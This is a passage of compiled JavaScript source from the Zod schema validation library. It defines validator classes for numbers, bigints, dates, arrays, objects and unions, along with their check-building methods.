ZodNumber({\n ...this._def,\n checks: [\n ...this._def.checks,\n {\n kind,\n value,\n inclusive,\n message: errorUtil.toString(message),\n },\n ],\n });\n }\n _addCheck(check) {\n return new ZodNumber({\n ...this._def,\n checks: [...this._def.checks, check],\n });\n }\n int(message) {\n return this._addCheck({\n kind: \"int\",\n message: errorUtil.toString(message),\n });\n }\n positive(message) {\n return this._addCheck({\n kind: \"min\",\n value: 0,\n inclusive: false,\n message: errorUtil.toString(message),\n });\n }\n negative(message) {\n return this._addCheck({\n kind: \"max\",\n value: 0,\n inclusive: false,\n message: errorUtil.toString(message),\n });\n }\n nonpositive(message) {\n return this._addCheck({\n kind: \"max\",\n value: 0,\n inclusive: true,\n message: errorUtil.toString(message),\n });\n }\n nonnegative(message) {\n return this._addCheck({\n kind: \"min\",\n value: 0,\n inclusive: true,\n message: errorUtil.toString(message),\n });\n }\n multipleOf(value, message) {\n return this._addCheck({\n kind: \"multipleOf\",\n value: value,\n message: errorUtil.toString(message),\n });\n }\n finite(message) {\n return this._addCheck({\n kind: \"finite\",\n message: errorUtil.toString(message),\n });\n }\n safe(message) {\n return this._addCheck({\n kind: \"min\",\n inclusive: true,\n value: Number.MIN_SAFE_INTEGER,\n message: errorUtil.toString(message),\n })._addCheck({\n kind: \"max\",\n inclusive: true,\n value: Number.MAX_SAFE_INTEGER,\n message: errorUtil.toString(message),\n });\n }\n get minValue() {\n let min = null;\n for (const ch of this._def.checks) {\n if (ch.kind === \"min\") {\n if (min === null || ch.value > min)\n min = ch.value;\n }\n }\n return min;\n }\n get maxValue() {\n let max = null;\n for (const ch of this._def.checks) {\n if (ch.kind === \"max\") {\n if (max === null || ch.value < max)\n max = ch.value;\n }\n }\n return max;\n }\n get isInt() {\n return !!this._def.checks.find((ch) => ch.kind === \"int\" || (ch.kind === \"multipleOf\" && util.isInteger(ch.value)));\n }\n get isFinite() {\n let max = null;\n let min = null;\n for (const ch of this._def.checks) {\n if (ch.kind === \"finite\" || ch.kind === \"int\" || ch.kind === \"multipleOf\") {\n return true;\n }\n else if (ch.kind === \"min\") {\n if (min === null || ch.value > min)\n min = ch.value;\n }\n else if (ch.kind === \"max\") {\n if (max === null || ch.value < max)\n max = ch.value;\n }\n }\n return Number.isFinite(min) && Number.isFinite(max);\n }\n}\nZodNumber.create = (params) => {\n return new ZodNumber({\n checks: [],\n typeName: ZodFirstPartyTypeKind.ZodNumber,\n coerce: params?.coerce || false,\n ...processCreateParams(params),\n });\n};\nexport class ZodBigInt extends ZodType {\n constructor() {\n super(...arguments);\n this.min = this.gte;\n this.max = this.lte;\n }\n _parse(input) {\n if (this._def.coerce) {\n try {\n input.data = BigInt(input.data);\n }\n catch {\n return this._getInvalidInput(input);\n }\n }\n const parsedType = this._getType(input);\n if (parsedType !== ZodParsedType.bigint) {\n return this._getInvalidInput(input);\n }\n let ctx = undefined;\n const status = new ParseStatus();\n for (const check of this._def.checks) {\n if (check.kind === \"min\") {\n const tooSmall = check.inclusive ? input.data < check.value : input.data <= check.value;\n if (tooSmall) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n code: ZodIssueCode.too_small,\n type: \"bigint\",\n minimum: check.value,\n inclusive: check.inclusive,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"max\") {\n const tooBig = check.inclusive ? input.data > check.value : input.data >= check.value;\n if (tooBig) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n code: ZodIssueCode.too_big,\n type: \"bigint\",\n maximum: check.value,\n inclusive: check.inclusive,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"multipleOf\") {\n if (input.data % check.value !== BigInt(0)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n code: ZodIssueCode.not_multiple_of,\n multipleOf: check.value,\n message: check.message,\n });\n status.dirty();\n }\n }\n else {\n util.assertNever(check);\n }\n }\n return { status: status.value, value: input.data };\n }\n _getInvalidInput(input) {\n const ctx = this._getOrReturnCtx(input);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.bigint,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n gte(value, message) {\n return this.setLimit(\"min\", value, true, errorUtil.toString(message));\n }\n gt(value, message) {\n return this.setLimit(\"min\", value, false, errorUtil.toString(message));\n }\n lte(value, message) {\n return this.setLimit(\"max\", value, true, errorUtil.toString(message));\n }\n lt(value, message) {\n return this.setLimit(\"max\", value, false, errorUtil.toString(message));\n }\n setLimit(kind, value, inclusive, message) {\n return new ZodBigInt({\n ...this._def,\n checks: [\n ...this._def.checks,\n {\n kind,\n value,\n inclusive,\n message: errorUtil.toString(message),\n },\n ],\n });\n }\n _addCheck(check) {\n return new ZodBigInt({\n ...this._def,\n checks: [...this._def.checks, check],\n });\n }\n positive(message) {\n return this._addCheck({\n kind: \"min\",\n value: BigInt(0),\n inclusive: false,\n message: errorUtil.toString(message),\n });\n }\n negative(message) {\n return this._addCheck({\n kind: \"max\",\n value: BigInt(0),\n inclusive: false,\n message: errorUtil.toString(message),\n });\n }\n nonpositive(message) {\n return this._addCheck({\n kind: \"max\",\n value: BigInt(0),\n inclusive: true,\n message: errorUtil.toString(message),\n });\n }\n nonnegative(message) {\n return this._addCheck({\n kind: \"min\",\n value: BigInt(0),\n inclusive: true,\n message: errorUtil.toString(message),\n });\n }\n multipleOf(value, message) {\n return this._addCheck({\n kind: \"multipleOf\",\n value,\n message: errorUtil.toString(message),\n });\n }\n get minValue() {\n let min = null;\n for (const ch of this._def.checks) {\n if (ch.kind === \"min\") {\n if (min === null || ch.value > min)\n min = ch.value;\n }\n }\n return min;\n }\n get maxValue() {\n let max = null;\n for (const ch of this._def.checks) {\n if (ch.kind === \"max\") {\n if (max === null || ch.value < max)\n max = ch.value;\n }\n }\n return max;\n }\n}\nZodBigInt.create = (params) => {\n return new ZodBigInt({\n checks: [],\n typeName: ZodFirstPartyTypeKind.ZodBigInt,\n coerce: params?.coerce ?? false,\n ...processCreateParams(params),\n });\n};\nexport class ZodBoolean extends ZodType {\n _parse(input) {\n if (this._def.coerce) {\n input.data = Boolean(input.data);\n }\n const parsedType = this._getType(input);\n if (parsedType !== ZodParsedType.boolean) {\n const ctx = this._getOrReturnCtx(input);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.boolean,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n return OK(input.data);\n }\n}\nZodBoolean.create = (params) => {\n return new ZodBoolean({\n typeName: ZodFirstPartyTypeKind.ZodBoolean,\n coerce: params?.coerce || false,\n ...processCreateParams(params),\n });\n};\nexport class ZodDate extends ZodType {\n _parse(input) {\n if (this._def.coerce) {\n input.data = new Date(input.data);\n }\n const parsedType = this._getType(input);\n if (parsedType !== ZodParsedType.date) {\n const ctx = this._getOrReturnCtx(input);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.date,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n if (Number.isNaN(input.data.getTime())) {\n const ctx = this._getOrReturnCtx(input);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_date,\n });\n return INVALID;\n }\n const status = new ParseStatus();\n let ctx = undefined;\n for (const check of this._def.checks) {\n if (check.kind === \"min\") {\n if (input.data.getTime() < check.value) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n code: ZodIssueCode.too_small,\n message: check.message,\n inclusive: true,\n exact: false,\n minimum: check.value,\n type: \"date\",\n });\n status.dirty();\n }\n }\n else if (check.kind === \"max\") {\n if (input.data.getTime() > check.value) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n code: ZodIssueCode.too_big,\n message: check.message,\n inclusive: true,\n exact: false,\n maximum: check.value,\n type: \"date\",\n });\n status.dirty();\n }\n }\n else {\n util.assertNever(check);\n }\n }\n return {\n status: status.value,\n value: new Date(input.data.getTime()),\n };\n }\n _addCheck(check) {\n return new ZodDate({\n ...this._def,\n checks: [...this._def.checks, check],\n });\n }\n min(minDate, message) {\n return this._addCheck({\n kind: \"min\",\n value: minDate.getTime(),\n message: errorUtil.toString(message),\n });\n }\n max(maxDate, message) {\n return this._addCheck({\n kind: \"max\",\n value: maxDate.getTime(),\n message: errorUtil.toString(message),\n });\n }\n get minDate() {\n let min = null;\n for (const ch of this._def.checks) {\n if (ch.kind === \"min\") {\n if (min === null || ch.value > min)\n min = ch.value;\n }\n }\n return min != null ? new Date(min) : null;\n }\n get maxDate() {\n let max = null;\n for (const ch of this._def.checks) {\n if (ch.kind === \"max\") {\n if (max === null || ch.value < max)\n max = ch.value;\n }\n }\n return max != null ? new Date(max) : null;\n }\n}\nZodDate.create = (params) => {\n return new ZodDate({\n checks: [],\n coerce: params?.coerce || false,\n typeName: ZodFirstPartyTypeKind.ZodDate,\n ...processCreateParams(params),\n });\n};\nexport class ZodSymbol extends ZodType {\n _parse(input) {\n const parsedType = this._getType(input);\n if (parsedType !== ZodParsedType.symbol) {\n const ctx = this._getOrReturnCtx(input);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.symbol,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n return OK(input.data);\n }\n}\nZodSymbol.create = (params) => {\n return new ZodSymbol({\n typeName: ZodFirstPartyTypeKind.ZodSymbol,\n ...processCreateParams(params),\n });\n};\nexport class ZodUndefined extends ZodType {\n _parse(input) {\n const parsedType = this._getType(input);\n if (parsedType !== ZodParsedType.undefined) {\n const ctx = this._getOrReturnCtx(input);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.undefined,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n return OK(input.data);\n }\n}\nZodUndefined.create = (params) => {\n return new ZodUndefined({\n typeName: ZodFirstPartyTypeKind.ZodUndefined,\n ...processCreateParams(params),\n });\n};\nexport class ZodNull extends ZodType {\n _parse(input) {\n const parsedType = this._getType(input);\n if (parsedType !== ZodParsedType.null) {\n const ctx = this._getOrReturnCtx(input);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.null,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n return OK(input.data);\n }\n}\nZodNull.create = (params) => {\n return new ZodNull({\n typeName: ZodFirstPartyTypeKind.ZodNull,\n ...processCreateParams(params),\n });\n};\nexport class ZodAny extends ZodType {\n constructor() {\n super(...arguments);\n // to prevent instances of other classes from extending ZodAny. this causes issues with catchall in ZodObject.\n this._any = true;\n }\n _parse(input) {\n return OK(input.data);\n }\n}\nZodAny.create = (params) => {\n return new ZodAny({\n typeName: ZodFirstPartyTypeKind.ZodAny,\n ...processCreateParams(params),\n });\n};\nexport class ZodUnknown extends ZodType {\n constructor() {\n super(...arguments);\n // required\n this._unknown = true;\n }\n _parse(input) {\n return OK(input.data);\n }\n}\nZodUnknown.create = (params) => {\n return new ZodUnknown({\n typeName: ZodFirstPartyTypeKind.ZodUnknown,\n ...processCreateParams(params),\n });\n};\nexport class ZodNever extends ZodType {\n _parse(input) {\n const ctx = this._getOrReturnCtx(input);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.never,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n}\nZodNever.create = (params) => {\n return new ZodNever({\n typeName: ZodFirstPartyTypeKind.ZodNever,\n ...processCreateParams(params),\n });\n};\nexport class ZodVoid extends ZodType {\n _parse(input) {\n const parsedType = this._getType(input);\n if (parsedType !== ZodParsedType.undefined) {\n const ctx = this._getOrReturnCtx(input);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.void,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n return OK(input.data);\n }\n}\nZodVoid.create = (params) => {\n return new ZodVoid({\n typeName: ZodFirstPartyTypeKind.ZodVoid,\n ...processCreateParams(params),\n });\n};\nexport class ZodArray extends ZodType {\n _parse(input) {\n const { ctx, status } = this._processInputParams(input);\n const def = this._def;\n if (ctx.parsedType !== ZodParsedType.array) {\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.array,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n if (def.exactLength !== null) {\n const tooBig = ctx.data.length > def.exactLength.value;\n const tooSmall = ctx.data.length < def.exactLength.value;\n if (tooBig || tooSmall) {\n addIssueToContext(ctx, {\n code: tooBig ? ZodIssueCode.too_big : ZodIssueCode.too_small,\n minimum: (tooSmall ? def.exactLength.value : undefined),\n maximum: (tooBig ? def.exactLength.value : undefined),\n type: \"array\",\n inclusive: true,\n exact: true,\n message: def.exactLength.message,\n });\n status.dirty();\n }\n }\n if (def.minLength !== null) {\n if (ctx.data.length < def.minLength.value) {\n addIssueToContext(ctx, {\n code: ZodIssueCode.too_small,\n minimum: def.minLength.value,\n type: \"array\",\n inclusive: true,\n exact: false,\n message: def.minLength.message,\n });\n status.dirty();\n }\n }\n if (def.maxLength !== null) {\n if (ctx.data.length > def.maxLength.value) {\n addIssueToContext(ctx, {\n code: ZodIssueCode.too_big,\n maximum: def.maxLength.value,\n type: \"array\",\n inclusive: true,\n exact: false,\n message: def.maxLength.message,\n });\n status.dirty();\n }\n }\n if (ctx.common.async) {\n return Promise.all([...ctx.data].map((item, i) => {\n return def.type._parseAsync(new ParseInputLazyPath(ctx, item, ctx.path, i));\n })).then((result) => {\n return ParseStatus.mergeArray(status, result);\n });\n }\n const result = [...ctx.data].map((item, i) => {\n return def.type._parseSync(new ParseInputLazyPath(ctx, item, ctx.path, i));\n });\n return ParseStatus.mergeArray(status, result);\n }\n get element() {\n return this._def.type;\n }\n min(minLength, message) {\n return new ZodArray({\n ...this._def,\n minLength: { value: minLength, message: errorUtil.toString(message) },\n });\n }\n max(maxLength, message) {\n return new ZodArray({\n ...this._def,\n maxLength: { value: maxLength, message: errorUtil.toString(message) },\n });\n }\n length(len, message) {\n return new ZodArray({\n ...this._def,\n exactLength: { value: len, message: errorUtil.toString(message) },\n });\n }\n nonempty(message) {\n return this.min(1, message);\n }\n}\nZodArray.create = (schema, params) => {\n return new ZodArray({\n type: schema,\n minLength: null,\n maxLength: null,\n exactLength: null,\n typeName: ZodFirstPartyTypeKind.ZodArray,\n ...processCreateParams(params),\n });\n};\nfunction deepPartialify(schema) {\n if (schema instanceof ZodObject) {\n const newShape = {};\n for (const key in schema.shape) {\n const fieldSchema = schema.shape[key];\n newShape[key] = ZodOptional.create(deepPartialify(fieldSchema));\n }\n return new ZodObject({\n ...schema._def,\n shape: () => newShape,\n });\n }\n else if (schema instanceof ZodArray) {\n return new ZodArray({\n ...schema._def,\n type: deepPartialify(schema.element),\n });\n }\n else if (schema instanceof ZodOptional) {\n return ZodOptional.create(deepPartialify(schema.unwrap()));\n }\n else if (schema instanceof ZodNullable) {\n return ZodNullable.create(deepPartialify(schema.unwrap()));\n }\n else if (schema instanceof ZodTuple) {\n return ZodTuple.create(schema.items.map((item) => deepPartialify(item)));\n }\n else {\n return schema;\n }\n}\nexport class ZodObject extends ZodType {\n constructor() {\n super(...arguments);\n this._cached = null;\n /**\n * @deprecated In most cases, this is no longer needed - unknown properties are now silently stripped.\n * If you want to pass through unknown properties, use `.passthrough()` instead.\n */\n this.nonstrict = this.passthrough;\n // extend<\n // Augmentation extends ZodRawShape,\n // NewOutput extends util.flatten<{\n // [k in keyof Augmentation | keyof Output]: k extends keyof Augmentation\n // ? Augmentation[k][\"_output\"]\n // : k extends keyof Output\n // ? Output[k]\n // : never;\n // }>,\n // NewInput extends util.flatten<{\n // [k in keyof Augmentation | keyof Input]: k extends keyof Augmentation\n // ? Augmentation[k][\"_input\"]\n // : k extends keyof Input\n // ? Input[k]\n // : never;\n // }>\n // >(\n // augmentation: Augmentation\n // ): ZodObject<\n // extendShape<T, Augmentation>,\n // UnknownKeys,\n // Catchall,\n // NewOutput,\n // NewInput\n // > {\n // return new ZodObject({\n // ...this._def,\n // shape: () => ({\n // ...this._def.shape(),\n // ...augmentation,\n // }),\n // }) as any;\n // }\n /**\n * @deprecated Use `.extend` instead\n * */\n this.augment = this.extend;\n }\n _getCached() {\n if (this._cached !== null)\n return this._cached;\n const shape = this._def.shape();\n const keys = util.objectKeys(shape);\n this._cached = { shape, keys };\n return this._cached;\n }\n _parse(input) {\n const parsedType = this._getType(input);\n if (parsedType !== ZodParsedType.object) {\n const ctx = this._getOrReturnCtx(input);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.object,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n const { status, ctx } = this._processInputParams(input);\n const { shape, keys: shapeKeys } = this._getCached();\n const extraKeys = [];\n if (!(this._def.catchall instanceof ZodNever && this._def.unknownKeys === \"strip\")) {\n for (const key in ctx.data) {\n if (!shapeKeys.includes(key)) {\n extraKeys.push(key);\n }\n }\n }\n const pairs = [];\n for (const key of shapeKeys) {\n const keyValidator = shape[key];\n const value = ctx.data[key];\n pairs.push({\n key: { status: \"valid\", value: key },\n value: keyValidator._parse(new ParseInputLazyPath(ctx, value, ctx.path, key)),\n alwaysSet: key in ctx.data,\n });\n }\n if (this._def.catchall instanceof ZodNever) {\n const unknownKeys = this._def.unknownKeys;\n if (unknownKeys === \"passthrough\") {\n for (const key of extraKeys) {\n pairs.push({\n key: { status: \"valid\", value: key },\n value: { status: \"valid\", value: ctx.data[key] },\n });\n }\n }\n else if (unknownKeys === \"strict\") {\n if (extraKeys.length > 0) {\n addIssueToContext(ctx, {\n code: ZodIssueCode.unrecognized_keys,\n keys: extraKeys,\n });\n status.dirty();\n }\n }\n else if (unknownKeys === \"strip\") {\n }\n else {\n throw new Error(`Internal ZodObject error: invalid unknownKeys value.`);\n }\n }\n else {\n // run catchall validation\n const catchall = this._def.catchall;\n for (const key of extraKeys) {\n const value = ctx.data[key];\n pairs.push({\n key: { status: \"valid\", value: key },\n value: catchall._parse(new ParseInputLazyPath(ctx, value, ctx.path, key) //, ctx.child(key), value, getParsedType(value)\n ),\n alwaysSet: key in ctx.data,\n });\n }\n }\n if (ctx.common.async) {\n return Promise.resolve()\n .then(async () => {\n const syncPairs = [];\n for (const pair of pairs) {\n const key = await pair.key;\n const value = await pair.value;\n syncPairs.push({\n key,\n value,\n alwaysSet: pair.alwaysSet,\n });\n }\n return syncPairs;\n })\n .then((syncPairs) => {\n return ParseStatus.mergeObjectSync(status, syncPairs);\n });\n }\n else {\n return ParseStatus.mergeObjectSync(status, pairs);\n }\n }\n get shape() {\n return this._def.shape();\n }\n strict(message) {\n errorUtil.errToObj;\n return new ZodObject({\n ...this._def,\n unknownKeys: \"strict\",\n ...(message !== undefined\n ? {\n errorMap: (issue, ctx) => {\n const defaultError = this._def.errorMap?.(issue, ctx).message ?? ctx.defaultError;\n if (issue.code === \"unrecognized_keys\")\n return {\n message: errorUtil.errToObj(message).message ?? defaultError,\n };\n return {\n message: defaultError,\n };\n },\n }\n : {}),\n });\n }\n strip() {\n return new ZodObject({\n ...this._def,\n unknownKeys: \"strip\",\n });\n }\n passthrough() {\n return new ZodObject({\n ...this._def,\n unknownKeys: \"passthrough\",\n });\n }\n // const AugmentFactory =\n // <Def extends ZodObjectDef>(def: Def) =>\n // <Augmentation extends ZodRawShape>(\n // augmentation: Augmentation\n // ): ZodObject<\n // extendShape<ReturnType<Def[\"shape\"]>, Augmentation>,\n // Def[\"unknownKeys\"],\n // Def[\"catchall\"]\n // > => {\n // return new ZodObject({\n // ...def,\n // shape: () => ({\n // ...def.shape(),\n // ...augmentation,\n // }),\n // }) as any;\n // };\n extend(augmentation) {\n return new ZodObject({\n ...this._def,\n shape: () => ({\n ...this._def.shape(),\n ...augmentation,\n }),\n });\n }\n /**\n * Prior to zod@1.0.12 there was a bug in the\n * inferred type of merged objects. Please\n * upgrade if you are experiencing issues.\n */\n merge(merging) {\n const merged = new ZodObject({\n unknownKeys: merging._def.unknownKeys,\n catchall: merging._def.catchall,\n shape: () => ({\n ...this._def.shape(),\n ...merging._def.shape(),\n }),\n typeName: ZodFirstPartyTypeKind.ZodObject,\n });\n return merged;\n }\n // merge<\n // Incoming extends AnyZodObject,\n // Augmentation extends Incoming[\"shape\"],\n // NewOutput extends {\n // [k in keyof Augmentation | keyof Output]: k extends keyof Augmentation\n // ? Augmentation[k][\"_output\"]\n // : k extends keyof Output\n // ? Output[k]\n // : never;\n // },\n // NewInput extends {\n // [k in keyof Augmentation | keyof Input]: k extends keyof Augmentation\n // ? Augmentation[k][\"_input\"]\n // : k extends keyof Input\n // ? Input[k]\n // : never;\n // }\n // >(\n // merging: Incoming\n // ): ZodObject<\n // extendShape<T, ReturnType<Incoming[\"_def\"][\"shape\"]>>,\n // Incoming[\"_def\"][\"unknownKeys\"],\n // Incoming[\"_def\"][\"catchall\"],\n // NewOutput,\n // NewInput\n // > {\n // const merged: any = new ZodObject({\n // unknownKeys: merging._def.unknownKeys,\n // catchall: merging._def.catchall,\n // shape: () =>\n // objectUtil.mergeShapes(this._def.shape(), merging._def.shape()),\n // typeName: ZodFirstPartyTypeKind.ZodObject,\n // }) as any;\n // return merged;\n // }\n setKey(key, schema) {\n return this.augment({ [key]: schema });\n }\n // merge<Incoming extends AnyZodObject>(\n // merging: Incoming\n // ): //ZodObject<T & Incoming[\"_shape\"], UnknownKeys, Catchall> = (merging) => {\n // ZodObject<\n // extendShape<T, ReturnType<Incoming[\"_def\"][\"shape\"]>>,\n // Incoming[\"_def\"][\"unknownKeys\"],\n // Incoming[\"_def\"][\"catchall\"]\n // > {\n // // const mergedShape = objectUtil.mergeShapes(\n // // this._def.shape(),\n // // merging._def.shape()\n // // );\n // const merged: any = new ZodObject({\n // unknownKeys: merging._def.unknownKeys,\n // catchall: merging._def.catchall,\n // shape: () =>\n // objectUtil.mergeShapes(this._def.shape(), merging._def.shape()),\n // typeName: ZodFirstPartyTypeKind.ZodObject,\n // }) as any;\n // return merged;\n // }\n catchall(index) {\n return new ZodObject({\n ...this._def,\n catchall: index,\n });\n }\n pick(mask) {\n const shape = {};\n for (const key of util.objectKeys(mask)) {\n if (mask[key] && this.shape[key]) {\n shape[key] = this.shape[key];\n }\n }\n return new ZodObject({\n ...this._def,\n shape: () => shape,\n });\n }\n omit(mask) {\n const shape = {};\n for (const key of util.objectKeys(this.shape)) {\n if (!mask[key]) {\n shape[key] = this.shape[key];\n }\n }\n return new ZodObject({\n ...this._def,\n shape: () => shape,\n });\n }\n /**\n * @deprecated\n */\n deepPartial() {\n return deepPartialify(this);\n }\n partial(mask) {\n const newShape = {};\n for (const key of util.objectKeys(this.shape)) {\n const fieldSchema = this.shape[key];\n if (mask && !mask[key]) {\n newShape[key] = fieldSchema;\n }\n else {\n newShape[key] = fieldSchema.optional();\n }\n }\n return new ZodObject({\n ...this._def,\n shape: () => newShape,\n });\n }\n required(mask) {\n const newShape = {};\n for (const key of util.objectKeys(this.shape)) {\n if (mask && !mask[key]) {\n newShape[key] = this.shape[key];\n }\n else {\n const fieldSchema = this.shape[key];\n let newField = fieldSchema;\n while (newField instanceof ZodOptional) {\n newField = newField._def.innerType;\n }\n newShape[key] = newField;\n }\n }\n return new ZodObject({\n ...this._def,\n shape: () => newShape,\n });\n }\n keyof() {\n return createZodEnum(util.objectKeys(this.shape));\n }\n}\nZodObject.create = (shape, params) => {\n return new ZodObject({\n shape: () => shape,\n unknownKeys: \"strip\",\n catchall: ZodNever.create(),\n typeName: ZodFirstPartyTypeKind.ZodObject,\n ...processCreateParams(params),\n });\n};\nZodObject.strictCreate = (shape, params) => {\n return new ZodObject({\n shape: () => shape,\n unknownKeys: \"strict\",\n catchall: ZodNever.create(),\n typeName: ZodFirstPartyTypeKind.ZodObject,\n ...processCreateParams(params),\n });\n};\nZodObject.lazycreate = (shape, params) => {\n return new ZodObject({\n shape,\n unknownKeys: \"strip\",\n catchall: ZodNever.create(),\n typeName: ZodFirstPartyTypeKind.ZodObject,\n ...processCreateParams(params),\n });\n};\nexport class ZodUnion extends ZodType {\n _parse(input) {\n const { ctx } = this._processInputParams(input);\n const options = this._def.options;\n function handleResults(results) {\n // return first issue-free validation if it exists\n for (const result of results) {\n if (result.result.status === \"valid\") {\n return result.result;\n }\n }\n for (const result of results) {\n if (result.result.status === \"dirty\") {\n // add issues from dirty option\n ctx.common.issues.push(...result.ctx.common.issues);\n return result.result;\n }\n }\n // return invalid\n const unionErrors = results.map((result) => new ZodError(result.ctx.common.issues));\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_union,\n unionErrors,\n });\n return INVALID;\n }\n if (ctx.common.async) {\n return Promise.all(options.map(async (option) => {\n const childCtx = {\n ...ctx,\n common: {\n ...ctx.common,\n issues: [],\n },\n parent: null,\n };\n return {\n result: await option._parseAsync({\n data: ctx.data,\n path: ctx.path,\n parent: childCtx,\n }),\n ctx: childCtx,\n };\n })).then(handleResults);\n }\n else {\n let dirty = undefined;\n const issues = [];\n for (const option of options) {\n const childCtx = {\n ...ctx,\n common: {\n ...ctx.common,\n issues: [],\n },\n parent: null,\n };\n const result = option._parseSync({\n data: ctx.data,\n path: ctx.path,\n parent: childCtx,\n });\n if (result.status === \"valid\") {\n return result;\n }\n else if (result.status === \"dirty\" && !dirty) {\n dirty = { result, ctx: childCtx };\n }\n if (childCtx.common.issues.length) {\n issues.push(childCtx.common.issues);\n }\n }\n if (dirty) {\n ctx.common.issues.push(...dirty.ctx.common.issues);\n return dirty.result;\n }\n const unionErrors = issues.map((issues) => new ZodError(issues));\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_union,\n unionErrors,\n });\n return INVALID;\n }\n }\n get options() {\n return this._def.options;\n }\n}\nZodUnion.create = (types, params) => {\n return new ZodUnion({\n options: types,\n typeName: ZodFirstPartyTypeKind.ZodUnion,\n ...processCreateParams(params),\n });\n};\n/////////////////////////////////////////////////////\n/////////////////////////////////////////////////////\n////////// //////////\n////////// ZodDiscriminatedUnion //////////\n////////// //////////\n/////////////////////////////////////////////////////\n/////////////////////////////////////////////////////\nconst getDiscriminator = (type) => {\n if (type instanceof ZodLazy) {\n return getDiscriminator(type.schema);\n }\n else if (type instanceof ZodEffects) {\n return getDiscriminator(type.innerType());\n }\n else if (type instanceof ZodLiteral) {\n return [type.value];\n }\n else if (type instanceof ZodEnum) {\n return type.options;\n }\n else if (type instanceof ZodNativeEnum) {\n // eslint-disable-next-line ban/ban\n return util.objectValues(type.enum);\n }\n else if (type instanceof ZodDefault) {\n return getDiscriminator(type._def.innerType);\n }\n else if (type instanceof ZodUndefined) {\n return [undefined];\n }\n else if (type instanceof ZodNull) {\n return [null];\n }\n else if (type instanceof ZodOptional) {\n return [undefined, ...getDiscriminator(type.unwrap())];\n }\n else if (type instanceof ZodNullable) {\n return [null, ...getDiscriminator(type.unwrap())];\n }\n else if (type instanceof ZodBranded) {\n return getDiscriminator(type.unwrap());\n }\n else if (type instanceof ZodReadonly) {\n return getDiscriminator(type.unwrap());\n }\n else if (type instanceof ZodCatch) {\n return getDiscriminator(type._def.innerType);\n }\n else {\n return [];\n }\n};\nexport class ZodDiscriminatedUnion extends ZodType {\n _parse(input) {\n const { ctx } = this._processInputParams(input);\n if (ctx.parsedType !== ZodParsedType.object) {\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.object,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n const discriminator = this.discriminator;\n const discriminatorValue = ctx.data[discriminator];\n const option = this.optionsMap.get(discriminatorValue);\n if (!option) {\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_union_discriminator,\n options: Array.from(this.optionsMap.keys()),\n path: [discriminator],\n });\n return INVALID;\n }\n if (ctx.common.async) {\n return option._parseAsync({\n data: ctx.data,\n path: ctx.path,\n parent: ctx,\n });\n }\n else {\n return option._parseSync({\n data: ctx.data,\n path: ctx.path,\n parent: ctx,\n });\n }\n }\n get discriminator() {\n return this._def.discriminator;\n }\n get options() {\n return this._def.options;\n }\n get optionsMap() {\n return this._def.optionsMap;\n }\n /**\n * The constructor of the discriminated union schema. Its behaviour is very similar to that of the normal z.union() constructor.\n * However, it only allows a union of objects, all of which need to share a discriminator property. This property must\n * have a different value for each object in the union.\n * @param discriminator the name of the discriminator property\n * @param types an array of object schemas\n * @param params\n */\n static create(discriminator, options, params) {\n // Get all the valid discriminator values\n const optionsMap = new Map();\n // try {\n for (const type of options) {\n const discriminatorValues = getDiscriminator(type.shape[discriminator]);\n if (!discriminatorValues.length) {\n throw new Error(`A discriminator value for key \\`${discriminator}\\` could not be extracted from all schema options`);\n }\n for (const value of discriminatorValues) {\n if (optionsMap.has(value)) {\n throw new Error(`Discriminator property ${String(discriminator)} has duplicate value ${String(value)}`);\n }\n optionsMap.set(value, type);\n }\n }\n return new ZodDiscriminatedUnion({\n typeName: ZodFirstPartyTypeKind.ZodDiscriminatedUnion,\n discriminator,\n options,\n optionsMap,\n ...processCreateParams(params),\n });\n }\n}\nfunction mergeValues(a, b) {\n const aType = getParsedType(a);\n const bType = getParsedType(b);\n if (a === b) {\n return { valid: true, data: a };\n }\n else if (aType === ZodParsedType.object && bType === ZodParsedType.object) {\n const bKeys = util.objectKeys(b);\n const sharedKeys = util.objectKeys(a).filter((key) => bKeys.indexOf(key) !== -1);\n const newObj = { ...a, ...b };\n for (const key of sharedKeys) {\n const sharedValue = mergeValues(a[key], b[key]);\n if (!sharedValue.valid) {\n return { valid: false };\n }\n newObj[key] = sharedValue.data;\n }\n return { valid: true, data: newObj };\n }\n else if (aType === ZodParsedType.array && bType === ZodParsedType.array) {\n if (a.length !== b.length) {\n return { valid: false };\n }\n const 